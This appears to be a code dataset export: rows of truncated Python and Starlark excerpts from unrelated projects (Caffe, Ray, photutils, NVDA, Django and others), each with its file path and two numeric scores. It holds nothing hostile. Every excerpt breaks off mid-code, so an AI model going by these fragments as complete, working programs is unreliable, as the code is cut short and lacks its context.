u'History',
u'Geskiedenis',
u'Verlauf',
u'Historia... | source/appModules/msnmsgr.py |
import config
import winUser
from NVDAObjects.IAccessible import IAccessible
import controlTypes
import oleacc
import textInfos
import appModuleHandler
import speech
import cursorManager
lastMSNHistoryValue=None
possibleHistoryWindowNames=frozenset([
u'History',
u'Geskiedenis',
u'Verlauf',
u'Historia... | 0.105521 | 0.050401 |
import math
import time
import argparse
from datetime import datetime
import pytz
import pvaccess as pva
ENTITIES = ["long", "float", "string", "str"]
TYPES = {"long": pva.LONG, "float": pva.FLOAT, "string": pva.STRING}
class PvaServer():
def __init__(self, prefix=""):
self.srv = pva.RpcServer()
... | tests/pvaserver/pvaserver.py | import math
import time
import argparse
from datetime import datetime
import pytz
import pvaccess as pva
ENTITIES = ["long", "float", "string", "str"]
TYPES = {"long": pva.LONG, "float": pva.FLOAT, "string": pva.STRING}
class PvaServer():
def __init__(self, prefix=""):
self.srv = pva.RpcServer()
... | 0.445047 | 0.212743 |
import os
import sys
import caffe
from caffe import layers as L
from caffe import params as P
from caffe.proto import caffe_pb2
sys.path.append('../')
from PyLib.Utils import par as Upar
from PyLib.Utils import path as Upath
sys.dont_write_bytecode = True
# Create Deconv-BN UnitLayer
def DeconvBNUnitLayer(net, from... | remodet_repository_wdh_part/Projects/DetPoseJoint/DeconvLayer.py | import os
import sys
import caffe
from caffe import layers as L
from caffe import params as P
from caffe.proto import caffe_pb2
sys.path.append('../')
from PyLib.Utils import par as Upar
from PyLib.Utils import path as Upath
sys.dont_write_bytecode = True
# Create Deconv-BN UnitLayer
def DeconvBNUnitLayer(net, from... | 0.439026 | 0.25124 |
from __future__ import annotations
from pathlib import Path
from typing import List
from fastapi import Request, Response
from fastapi.templating import Jinja2Templates
from .models import Availability, Job, JobDescription, JobError
from .results import ResultStore
from .utils import isodatetime
__all__ = ["UWSTem... | src/vocutouts/uws/responses.py |
from __future__ import annotations
from pathlib import Path
from typing import List
from fastapi import Request, Response
from fastapi.templating import Jinja2Templates
from .models import Availability, Job, JobDescription, JobError
from .results import ResultStore
from .utils import isodatetime
__all__ = ["UWSTem... | 0.928967 | 0.182353 |
from __future__ import (absolute_import, division, print_function,
unicode_literals)
import math
import warnings
import numpy as np
from astropy.coordinates import SkyCoord
import astropy.units as u
from astropy.wcs.utils import skycoord_to_pixel
from astropy.utils.exceptions import AstropyUser... | photutils/aperture/ellipse.py | from __future__ import (absolute_import, division, print_function,
unicode_literals)
import math
import warnings
import numpy as np
from astropy.coordinates import SkyCoord
import astropy.units as u
from astropy.wcs.utils import skycoord_to_pixel
from astropy.utils.exceptions import AstropyUser... | 0.493164 | 0.445771 |
from .base import Base
from denite.process import Process
from os import path, pardir
from os.path import relpath, isabs, isdir, join
from denite.util import parse_command, abspath
class Source(Base):
def __init__(self, vim):
super().__init__(vim)
self.name = 'file_rec'
self.kind = 'fil... | dein/.cache/init.vim/temp/19020/20170514021125/rplugin/python3/denite/source/file_rec.py |
from .base import Base
from denite.process import Process
from os import path, pardir
from os.path import relpath, isabs, isdir, join
from denite.util import parse_command, abspath
class Source(Base):
def __init__(self, vim):
super().__init__(vim)
self.name = 'file_rec'
self.kind = 'fil... | 0.230833 | 0.068257 |
#Function to read file
def read_file(path):
file=open(path,'r')
sentence=file.readline()
file.close()
return sentence
print(sentence)
#Opening of the file located in the path in 'read' mode
sample_message=read_file(file_path)
#Reading of the first line of the file and stor... | GreyAtom/code.py |
#Function to read file
def read_file(path):
file=open(path,'r')
sentence=file.readline()
file.close()
return sentence
print(sentence)
#Opening of the file located in the path in 'read' mode
sample_message=read_file(file_path)
#Reading of the first line of the file and stor... | 0.249813 | 0.129871 |
from aiohttp import ClientSession
from aiohttp.client_exceptions import *
import aiohttp
import asyncio
import uvloop
asyncio.set_event_loop_policy(uvloop.EventLoopPolicy())
async def fetch_1(session, asyncState):
try:
url = 'https://www.google.com'
async with session.get(url) as response:
... | 99-Python_Miscellaneous/sample_rules.py | from aiohttp import ClientSession
from aiohttp.client_exceptions import *
import aiohttp
import asyncio
import uvloop
asyncio.set_event_loop_policy(uvloop.EventLoopPolicy())
async def fetch_1(session, asyncState):
try:
url = 'https://www.google.com'
async with session.get(url) as response:
... | 0.215433 | 0.112137 |
import logging
import os
import time
from datetime import datetime
from mindspore.train.serialization import save_checkpoint
from .tools import save_image
class Reporter(logging.Logger):
"""
This class includes several functions that can save images/checkpoints and print/save logging information.
Args:
... | research/cv/CycleGAN/src/utils/reporter.py | import logging
import os
import time
from datetime import datetime
from mindspore.train.serialization import save_checkpoint
from .tools import save_image
class Reporter(logging.Logger):
"""
This class includes several functions that can save images/checkpoints and print/save logging information.
Args:
... | 0.553023 | 0.130645 |
import logging
import datetime
import time
import pylast
class Metadata:
"""
Class to start metadata of a song
"""
def __init__(self, artist=None, title=None,
albumArtist=None, albumTitle=None, artUrl=None,
discNumber=None, trackNumber=None,
playerN... | buildroot/package/lmsmpris/src/metadata.py | import logging
import datetime
import time
import pylast
class Metadata:
"""
Class to start metadata of a song
"""
def __init__(self, artist=None, title=None,
albumArtist=None, albumTitle=None, artUrl=None,
discNumber=None, trackNumber=None,
playerN... | 0.527317 | 0.1495 |
import pytest
import matplotlib
import pandas as pd
import scipy.stats as ss
from sklearn import datasets
from datetime import datetime, timedelta
from dython.nominal import associations, correlation_ratio
def test_return_type_check(iris_df):
assoc = associations(iris_df)
assert isinstance(assoc, dict), 'as... | tests/test_nominal/test_associations.py | import pytest
import matplotlib
import pandas as pd
import scipy.stats as ss
from sklearn import datasets
from datetime import datetime, timedelta
from dython.nominal import associations, correlation_ratio
def test_return_type_check(iris_df):
assoc = associations(iris_df)
assert isinstance(assoc, dict), 'as... | 0.801858 | 0.77535 |
table = {
"url": {
"http://": "httpaddress",
"ftp://": "ftpaddress",
"telnet://": "telnetaddress",
"mailto::": "mailtoaddress"
},
"httpaddress": {
"http://": "http:// hostport httpaddress1"
},
"httpaddress1": {
"http://": "/ path httpaddress2",
... | transition_table.py | table = {
"url": {
"http://": "httpaddress",
"ftp://": "ftpaddress",
"telnet://": "telnetaddress",
"mailto::": "mailtoaddress"
},
"httpaddress": {
"http://": "http:// hostport httpaddress1"
},
"httpaddress1": {
"http://": "/ path httpaddress2",
... | 0.451085 | 0.585842 |
from twisted.trial import unittest
from twisted.internet import defer
from nodeset.core import message, node
class TMsg(message.NodeMessage):
def __init__(self):
message.NodeMessage.__init__(self)
message.Attribute('field1')
message.Attribute('field2', 'value2')
message.Attribute('... | src/nodeset/core/test/test_message.py | from twisted.trial import unittest
from twisted.internet import defer
from nodeset.core import message, node
class TMsg(message.NodeMessage):
def __init__(self):
message.NodeMessage.__init__(self)
message.Attribute('field1')
message.Attribute('field2', 'value2')
message.Attribute('... | 0.613584 | 0.342544 |
from dataclasses import dataclass
@dataclass
class Entity:
player = 'minecraft:player'
area_effect_cloud = 'minecraft:area_effect_cloud'
armor_stand = 'minecraft:armor_stand'
arrow = 'minecraft:arrow'
axolotl = 'minecraft:axolotl'
bat = 'minecraft:bat'
bee = 'minecraft:bee'
blaze = 'minecraft:blaze'
boat = '... | mcwpy/data/minecraft/entities.py | from dataclasses import dataclass
@dataclass
class Entity:
player = 'minecraft:player'
area_effect_cloud = 'minecraft:area_effect_cloud'
armor_stand = 'minecraft:armor_stand'
arrow = 'minecraft:arrow'
axolotl = 'minecraft:axolotl'
bat = 'minecraft:bat'
bee = 'minecraft:bee'
blaze = 'minecraft:blaze'
boat = '... | 0.297266 | 0.062388 |
import pytest
import sys
import time
import ray
from ray.exceptions import RuntimeEnvSetupError
from ray.runtime_env import RuntimeEnv, RuntimeEnvConfig
bad_runtime_env_cache_ttl_seconds = 10
@pytest.mark.skipif(
sys.platform == "win32", reason="conda in runtime_env unsupported on Windows."
)
@pytest.mark.para... | python/ray/tests/test_runtime_env_2.py | import pytest
import sys
import time
import ray
from ray.exceptions import RuntimeEnvSetupError
from ray.runtime_env import RuntimeEnv, RuntimeEnvConfig
bad_runtime_env_cache_ttl_seconds = 10
@pytest.mark.skipif(
sys.platform == "win32", reason="conda in runtime_env unsupported on Windows."
)
@pytest.mark.para... | 0.449151 | 0.260837 |
import dataiku
def get_discussions_from_object(object_handle=None):
"""Return all discussion messages from a commentable object.
"""
disc_data = []
discussions = object_handle.get_object_discussions()
for disc in discussions.list_discussions():
disc_content = {}
disc_content["t... | admin/export_discussions/code.py | import dataiku
def get_discussions_from_object(object_handle=None):
"""Return all discussion messages from a commentable object.
"""
disc_data = []
discussions = object_handle.get_object_discussions()
for disc in discussions.list_discussions():
disc_content = {}
disc_content["t... | 0.278747 | 0.195364 |
from __future__ import absolute_import, division, print_function
import collections
import itertools
import logging
# PY2 & PY3 — compatibility
from builtins import zip
from shot_detector.utils.log_meta import should_be_overloaded
from .base_nested_filter import BaseNestedFilter
class BaseNestedParallelFilter(BaseN... | shot_detector/filters/base/base_nested_parallel_filter.py | from __future__ import absolute_import, division, print_function
import collections
import itertools
import logging
# PY2 & PY3 — compatibility
from builtins import zip
from shot_detector.utils.log_meta import should_be_overloaded
from .base_nested_filter import BaseNestedFilter
class BaseNestedParallelFilter(BaseN... | 0.843702 | 0.325132 |
import mysql.connector as mariadb
from faker import Faker
import datetime, hashlib, logging, progressbar, sys,time
logging.basicConfig(level=logging.INFO)
logger = logging.getLogger(__name__)
fake = Faker()
# To use this test suite, you need to provide the correct
# configuration to access a MariaDB database
MARIAD... | test.py |
import mysql.connector as mariadb
from faker import Faker
import datetime, hashlib, logging, progressbar, sys,time
logging.basicConfig(level=logging.INFO)
logger = logging.getLogger(__name__)
fake = Faker()
# To use this test suite, you need to provide the correct
# configuration to access a MariaDB database
MARIAD... | 0.195863 | 0.093554 |
# ---- imports, formats, constants ----
import sys
import numpy as np
import arcpy
import numpy.lib.recfunctions as rfn
ft = {'bool': lambda x: repr(x.astype('int32')),
'float': '{: 0.3f}'.format}
np.set_printoptions(edgeitems=10, linewidth=80, precision=2, suppress=True,
threshold... | TableTools/Scripts/frequency.py | # ---- imports, formats, constants ----
import sys
import numpy as np
import arcpy
import numpy.lib.recfunctions as rfn
ft = {'bool': lambda x: repr(x.astype('int32')),
'float': '{: 0.3f}'.format}
np.set_printoptions(edgeitems=10, linewidth=80, precision=2, suppress=True,
threshold... | 0.323594 | 0.277127 |
import pytest
import json
import uuid
import re
from django.test import Client, TestCase, RequestFactory
from django.contrib.auth.models import Group, AnonymousUser
from django.contrib.auth import get_user
import django_namespace_perms as nsp
import peeringdb_server.views as views
import peeringdb_server.models as mo... | tests/test_partners.py | import pytest
import json
import uuid
import re
from django.test import Client, TestCase, RequestFactory
from django.contrib.auth.models import Group, AnonymousUser
from django.contrib.auth import get_user
import django_namespace_perms as nsp
import peeringdb_server.views as views
import peeringdb_server.models as mo... | 0.344113 | 0.219191 |
def search(code):
for i in range(len(code)):
if code[i]=='=':
return i
def autocorrect(x):
for i in range(len(x)):
code=x[i]
#indetation
print (code)
if '(' in code and ')' not in code and code[-1]==':':
c = code[0:len(code)-1]
... | bracket_test.py | def search(code):
for i in range(len(code)):
if code[i]=='=':
return i
def autocorrect(x):
for i in range(len(x)):
code=x[i]
#indetation
print (code)
if '(' in code and ')' not in code and code[-1]==':':
c = code[0:len(code)-1]
... | 0.025347 | 0.273086 |
from time import time
import numpy as np
import matplotlib.pyplot as plt
import matplotlib.patches as mpatches
import rospy
import math
from geometry_msgs.msg import PoseStamped, TwistStamped
from mavros_msgs.msg import State
from mavros_msgs.srv import CommandBool, SetMode
from sensor_msgs.msg import BatteryState
#... | control_velpid/scripts/getRs2.py |
from time import time
import numpy as np
import matplotlib.pyplot as plt
import matplotlib.patches as mpatches
import rospy
import math
from geometry_msgs.msg import PoseStamped, TwistStamped
from mavros_msgs.msg import State
from mavros_msgs.srv import CommandBool, SetMode
from sensor_msgs.msg import BatteryState
#... | 0.487307 | 0.316541 |
import json
import urllib.request
import pandas as pd
Springdale = 'https://raw.githubusercontent.com/Reece323/air-scrape/main/AirBnB/Data/Springdale.json'
response = urllib.request.urlopen(Springdale)
Springdale = json.loads(response.read())
Springdale = pd.json_normalize(Springdale)
Springdale_amenities = Springdal... | AirBnB/Analyzing/combine.py | import json
import urllib.request
import pandas as pd
Springdale = 'https://raw.githubusercontent.com/Reece323/air-scrape/main/AirBnB/Data/Springdale.json'
response = urllib.request.urlopen(Springdale)
Springdale = json.loads(response.read())
Springdale = pd.json_normalize(Springdale)
Springdale_amenities = Springdal... | 0.334916 | 0.347759 |
def ver_pessoas(arquivo):
"""
-> mostra arquivos txt
:param arquivo: (obrigatorio) str/digite o arquivo com sua extensão
:return: retorna leitura de dados
"""
from user_system.sistema_cor import c
try:
with open(arquivo, 'r') as f_obj:
lines = f_obj.readlines()
... | python/cursoemvideo-python/03-mundo-3/tratamento de erros/ex115/user_system/__init__.py | def ver_pessoas(arquivo):
"""
-> mostra arquivos txt
:param arquivo: (obrigatorio) str/digite o arquivo com sua extensão
:return: retorna leitura de dados
"""
from user_system.sistema_cor import c
try:
with open(arquivo, 'r') as f_obj:
lines = f_obj.readlines()
... | 0.260484 | 0.429609 |
import numpy as np
import numba
from numba import njit, vectorize, int32
import time
calcUpTo = 1000000000
@njit(cache=True, parallel=True, fastmath=True, nogil=True)
def speeeed(max: np.int64):
# a version to just brute force everything while being as fast as possible
for i in numba.prange(1, max + 1):
... | 03-CollatzConjecture/zombey/testing code/test_space.py | import numpy as np
import numba
from numba import njit, vectorize, int32
import time
calcUpTo = 1000000000
@njit(cache=True, parallel=True, fastmath=True, nogil=True)
def speeeed(max: np.int64):
# a version to just brute force everything while being as fast as possible
for i in numba.prange(1, max + 1):
... | 0.231354 | 0.426859 |
import torch
from torch import nn
from torch import optim
import sys,os,json
import pickle
import torch.utils.data as data_utils
import numpy as np
import torch.nn.functional as F
import torchvision.models as models
from utils import seqParser
device = torch.device('cuda:0')
def load_model():
# Resnet wi... | test.py | import torch
from torch import nn
from torch import optim
import sys,os,json
import pickle
import torch.utils.data as data_utils
import numpy as np
import torch.nn.functional as F
import torchvision.models as models
from utils import seqParser
device = torch.device('cuda:0')
def load_model():
# Resnet wi... | 0.412767 | 0.354545 |
from .components import *
from .plugins import *
from .core import componentsList
'''
A mode is a tuple: (components, links) where:
* components is a list of uninitialized components
* links is a list of links, where a link is a tuple:
((destination_index, var_name), (origin_index, var_name))
where `destination_i... | artview/modes.py | from .components import *
from .plugins import *
from .core import componentsList
'''
A mode is a tuple: (components, links) where:
* components is a list of uninitialized components
* links is a list of links, where a link is a tuple:
((destination_index, var_name), (origin_index, var_name))
where `destination_i... | 0.499756 | 0.271599 |
def _lein_repository(repository_ctx):
java = _check_jdk(repository_ctx)
url = "https://raw.githubusercontent.com/technomancy/leiningen/%s/bin/lein" % (repository_ctx.attr.version,)
repository_ctx.download(
url = url,
output = "home/lein.sh.in",
sha256 = repository_ctx.attr.sha256,
... | third_party/leiningen/lein_repo.bzl | def _lein_repository(repository_ctx):
java = _check_jdk(repository_ctx)
url = "https://raw.githubusercontent.com/technomancy/leiningen/%s/bin/lein" % (repository_ctx.attr.version,)
repository_ctx.download(
url = url,
output = "home/lein.sh.in",
sha256 = repository_ctx.attr.sha256,
... | 0.323594 | 0.1178 |
from Tkinter import *
import datetime
import re
import itertools
import os
root=Tk()
root.title(" DexEd - a (Dex)terous (Ed)itor")
root.wm_resizable(0,0)
################################################################################
# Global Variable Declaration(s)
####################################... | dexed.py |
from Tkinter import *
import datetime
import re
import itertools
import os
root=Tk()
root.title(" DexEd - a (Dex)terous (Ed)itor")
root.wm_resizable(0,0)
################################################################################
# Global Variable Declaration(s)
####################################... | 0.067635 | 0.066751 |
import json
from alipay.aop.api.constant.ParamConstants import *
class AlipayCommerceTransportParkingGoodsModifyModel(object):
def __init__(self):
self._arg_date_week = None
self._arg_end_time = None
self._arg_start_time = None
self._biz_data = None
self._cost_price = Non... | alipay/aop/api/domain/AlipayCommerceTransportParkingGoodsModifyModel.py | import json
from alipay.aop.api.constant.ParamConstants import *
class AlipayCommerceTransportParkingGoodsModifyModel(object):
def __init__(self):
self._arg_date_week = None
self._arg_end_time = None
self._arg_start_time = None
self._biz_data = None
self._cost_price = Non... | 0.531209 | 0.141994 |
from __future__ import absolute_import
from celery import shared_task
from datetime import datetime
from oauth2client.service_account import ServiceAccountCredentials
from .models import DealFlowBox, UpdateChecker
from datetime import datetime
import time
import requests
import gspread, json
import pandas as pd
def u... | dealflowbox/tasks.py | from __future__ import absolute_import
from celery import shared_task
from datetime import datetime
from oauth2client.service_account import ServiceAccountCredentials
from .models import DealFlowBox, UpdateChecker
from datetime import datetime
import time
import requests
import gspread, json
import pandas as pd
def u... | 0.257578 | 0.145692 |
from django.test import TestCase
from drynk import with_natural_key
from drynk.tests.models import (
TestModel1,
TestModel2,
TestModel3,
Category1,
Widget1,
Category2,
Widget2,
SubWidget)
class SanityTests(TestCase):
def test_reality(self):
"""
Make sure nothing b... | src/tests/tests.py | from django.test import TestCase
from drynk import with_natural_key
from drynk.tests.models import (
TestModel1,
TestModel2,
TestModel3,
Category1,
Widget1,
Category2,
Widget2,
SubWidget)
class SanityTests(TestCase):
def test_reality(self):
"""
Make sure nothing b... | 0.68658 | 0.585753 |
import pandas as pd
import re
from .stopwords_lists import stopwords_nltk
class Corpus_stream():
'''
Defines a custom iterator for streaming corpus from csv file.
'''
def __init__(self, path, column):
self.path = path
self.column = column
def __iter__(self):
df = pd.... | deepART/nlp/text_preproc/preprocessors.py | import pandas as pd
import re
from .stopwords_lists import stopwords_nltk
class Corpus_stream():
'''
Defines a custom iterator for streaming corpus from csv file.
'''
def __init__(self, path, column):
self.path = path
self.column = column
def __iter__(self):
df = pd.... | 0.206614 | 0.23936 |
from __future__ import absolute_import
from hiveminder.game import GameState
from hiveminder.bee import Bee, QueenBee
from hiveminder.seed import Seed
from hiveminder.hive import Hive
from hiveminder.game_params import DEFAULT_GAME_PARAMETERS
from itertools import combinations_with_replacement
import pytest
from mock i... | tests/unit/test_detect_crashes.py | from __future__ import absolute_import
from hiveminder.game import GameState
from hiveminder.bee import Bee, QueenBee
from hiveminder.seed import Seed
from hiveminder.hive import Hive
from hiveminder.game_params import DEFAULT_GAME_PARAMETERS
from itertools import combinations_with_replacement
import pytest
from mock i... | 0.68784 | 0.478712 |
print("tttttttttttttttttttteeeeeeeeeeeeessssssssstt")
import sys
import isystem.flowChart as fc
# Implements only methods used by tested script
class TestInstruction:
def __init__(self, addr, target, opCode, isSeq, isDirect, isIndirect, isCond, _isCall):
self.addr = addr
self.target =... | testidea/si.isystem.uitest/testOutput/flowChartTest.py |
print("tttttttttttttttttttteeeeeeeeeeeeessssssssstt")
import sys
import isystem.flowChart as fc
# Implements only methods used by tested script
class TestInstruction:
def __init__(self, addr, target, opCode, isSeq, isDirect, isIndirect, isCond, _isCall):
self.addr = addr
self.target =... | 0.186317 | 0.145813 |
import sys
import boto3
import datetime
from awsglue.utils import getResolvedOptions
session = boto3.Session(region_name='us-west-2')
forecast = session.client(service_name='forecast')
glue_client = session.client(service_name='glue')
workflowName = 'AmazonForecastWorkflow'
workflow = glue_client.get_workflow(Name=... | WorkflowJobs/importDatasetJob.py | import sys
import boto3
import datetime
from awsglue.utils import getResolvedOptions
session = boto3.Session(region_name='us-west-2')
forecast = session.client(service_name='forecast')
glue_client = session.client(service_name='glue')
workflowName = 'AmazonForecastWorkflow'
workflow = glue_client.get_workflow(Name=... | 0.269999 | 0.175185 |
import generate_deployments_for_service
import mock
import contextlib
def test_get_branches_from_config_file():
fake_dir = '/nail/etc/soa/dir'
fake_fname = 'marathon-boston-hab-with-extra-dashes.yaml'
fake_config = {'test1': {'branch': 'ranch'}, 'test2': {}}
expected = set(['ranch', 'paasta-boston-ha... | tests/test_generate_deployments_for_service.py |
import generate_deployments_for_service
import mock
import contextlib
def test_get_branches_from_config_file():
fake_dir = '/nail/etc/soa/dir'
fake_fname = 'marathon-boston-hab-with-extra-dashes.yaml'
fake_config = {'test1': {'branch': 'ranch'}, 'test2': {}}
expected = set(['ranch', 'paasta-boston-ha... | 0.48121 | 0.176778 |
13.97905 9.815920 40.62300
14.00805 9.801919 40.63100
13.95905 9.831920 40.62200
14.03005 9.801919 40.61400
13.99905 9.807920 40.62400
14.01405 9.801919 40.63300
13.99105 9.816919 40.61200
... | 1.py | 13.97905 9.815920 40.62300
14.00805 9.801919 40.63100
13.95905 9.831920 40.62200
14.03005 9.801919 40.61400
13.99905 9.807920 40.62400
14.01405 9.801919 40.63300
13.99105 9.816919 40.61200
... | 0.075959 | 0.32822 |
# Created by pat on 4/4/18
"""
.. currentmodule:: base
.. moduleauthor:: <NAME> <<EMAIL>>
The GeoAlchemy declarative base for the data model is defined in this module
along with some other helpful classes.
"""
from sqlalchemy.ext.declarative import declarative_base
from sqlalchemy import String, DateTime
from .geomet... | gcudm/base.py |
# Created by pat on 4/4/18
"""
.. currentmodule:: base
.. moduleauthor:: <NAME> <<EMAIL>>
The GeoAlchemy declarative base for the data model is defined in this module
along with some other helpful classes.
"""
from sqlalchemy.ext.declarative import declarative_base
from sqlalchemy import String, DateTime
from .geomet... | 0.735926 | 0.317479 |
from insights.parsers.uptime import Uptime
from insights.parsers import ParseException
from insights.tests import context_wrap
import datetime
import pytest
UPTIME_TEST_DATA = [
{
'test_data': " 14:28:24 up 5:55, 4 users, load average: 0.04, 0.03, 0.05",
'currtime': '14:28:24', 'updays': '', 'u... | insights/parsers/tests/test_uptime.py | from insights.parsers.uptime import Uptime
from insights.parsers import ParseException
from insights.tests import context_wrap
import datetime
import pytest
UPTIME_TEST_DATA = [
{
'test_data': " 14:28:24 up 5:55, 4 users, load average: 0.04, 0.03, 0.05",
'currtime': '14:28:24', 'updays': '', 'u... | 0.63477 | 0.331647 |
import cv2
import glob
import json
import matplotlib.pyplot as plt
import numpy as np
import os
import traceback
from datetime import datetime
from graph_mapping.scripts.modules.log_processing import compute
dir_path = os.path.dirname(os.path.realpath(__file__))
LOG_DIR = dir_path + '/graph_mapping/logs/mapping_log... | src/create_map.py | import cv2
import glob
import json
import matplotlib.pyplot as plt
import numpy as np
import os
import traceback
from datetime import datetime
from graph_mapping.scripts.modules.log_processing import compute
dir_path = os.path.dirname(os.path.realpath(__file__))
LOG_DIR = dir_path + '/graph_mapping/logs/mapping_log... | 0.343782 | 0.265009 |
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
# This program is distributed in the hope that it will be useful,
# bu... | participants_codes/konnectomics/spikedetect/tridiag_solvers.py |
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
# This program is distributed in the hope that it will be useful,
# bu... | 0.767254 | 0.385201 |
import binascii
import logging
import struct
from enum import Enum
from gdbstubs.gdbstub import GdbStub
logger = logging.getLogger("gdbstub")
class XtensaSoc():
UNKNOWN = 0
SAMPLE_CONTROLLER = 1
ESP32 = 2
def get_soc_definition(soc):
if soc == XtensaSoc.SAMPLE_CONTROLLER:
return XtensaSoc... | scripts/coredump/gdbstubs/arch/xtensa.py |
import binascii
import logging
import struct
from enum import Enum
from gdbstubs.gdbstub import GdbStub
logger = logging.getLogger("gdbstub")
class XtensaSoc():
UNKNOWN = 0
SAMPLE_CONTROLLER = 1
ESP32 = 2
def get_soc_definition(soc):
if soc == XtensaSoc.SAMPLE_CONTROLLER:
return XtensaSoc... | 0.415254 | 0.094302 |
import os
import zlib
import glob
import base64
from pathlib import Path
from time import time
from fnmatch import fnmatchcase
from math import ceil
import common
data = common.getData()
COMPRESSION_LEVEL = 1
FILE_MAX_SIZE = 1024 * 1024 * 32 # bytes > KB > MB
ITEM_SEPARATOR = "\t"
def compressDataFile(sourcePath, da... | source/tools/Common/helper_scripts/build_data.py | import os
import zlib
import glob
import base64
from pathlib import Path
from time import time
from fnmatch import fnmatchcase
from math import ceil
import common
data = common.getData()
COMPRESSION_LEVEL = 1
FILE_MAX_SIZE = 1024 * 1024 * 32 # bytes > KB > MB
ITEM_SEPARATOR = "\t"
def compressDataFile(sourcePath, da... | 0.143728 | 0.147432 |
# Form implementation generated from reading ui file 'HomeChef.ui'
"""
# Data Focused Python B1
# Created by:
# 1. <NAME>-vkaranjk
# 2. <NAME>- mohinij
# 3. <NAME>- rohitj
# Group 24
"""
from PyQt5 import QtCore, QtGui, QtWidgets
from PyQt5.QtWidgets import QTextBrowser
from PyQt5.QtWidgets import QSizePolicy
from... | HomeChef.py |
# Form implementation generated from reading ui file 'HomeChef.ui'
"""
# Data Focused Python B1
# Created by:
# 1. <NAME>-vkaranjk
# 2. <NAME>- mohinij
# 3. <NAME>- rohitj
# Group 24
"""
from PyQt5 import QtCore, QtGui, QtWidgets
from PyQt5.QtWidgets import QTextBrowser
from PyQt5.QtWidgets import QSizePolicy
from... | 0.425367 | 0.071526 |
import logging
log = logging.getLogger(__name__)
class History:
"""
Stores `True`/`False` for each property, indicating if a method has been used on the particular :class:`~tabledataextractor.table.table.Table` instance.
"""
def __init__(self):
self._title_row_removed = False
self._p... | tabledataextractor/table/history.py | import logging
log = logging.getLogger(__name__)
class History:
"""
Stores `True`/`False` for each property, indicating if a method has been used on the particular :class:`~tabledataextractor.table.table.Table` instance.
"""
def __init__(self):
self._title_row_removed = False
self._p... | 0.923704 | 0.224778 |
import os
import subprocess
from unittest import mock
import pytest
from briefcase.exceptions import BriefcaseCommandError
from briefcase.platforms.macOS.app import macOSAppRunCommand
def test_run_app(first_app_config, tmp_path):
"A macOS app can be started"
command = macOSAppRunCommand(base_path=tmp_path)
... | tests/platforms/macOS/app/test_run.py | import os
import subprocess
from unittest import mock
import pytest
from briefcase.exceptions import BriefcaseCommandError
from briefcase.platforms.macOS.app import macOSAppRunCommand
def test_run_app(first_app_config, tmp_path):
"A macOS app can be started"
command = macOSAppRunCommand(base_path=tmp_path)
... | 0.359926 | 0.1443 |
from django.conf import settings
from django.http import HttpResponse
from jsonschema import Draft4Validator
import json
class SimpleJsonschemaMiddleware(object):
def __init__(self):
self.set_schemas(settings.SIMPLE_JSONSCHEMA)
self.default_encoding = 'utf-8'
def get_encoding(self, request):... | django_simple_jsonschema/__init__.py | from django.conf import settings
from django.http import HttpResponse
from jsonschema import Draft4Validator
import json
class SimpleJsonschemaMiddleware(object):
def __init__(self):
self.set_schemas(settings.SIMPLE_JSONSCHEMA)
self.default_encoding = 'utf-8'
def get_encoding(self, request):... | 0.393385 | 0.053329 |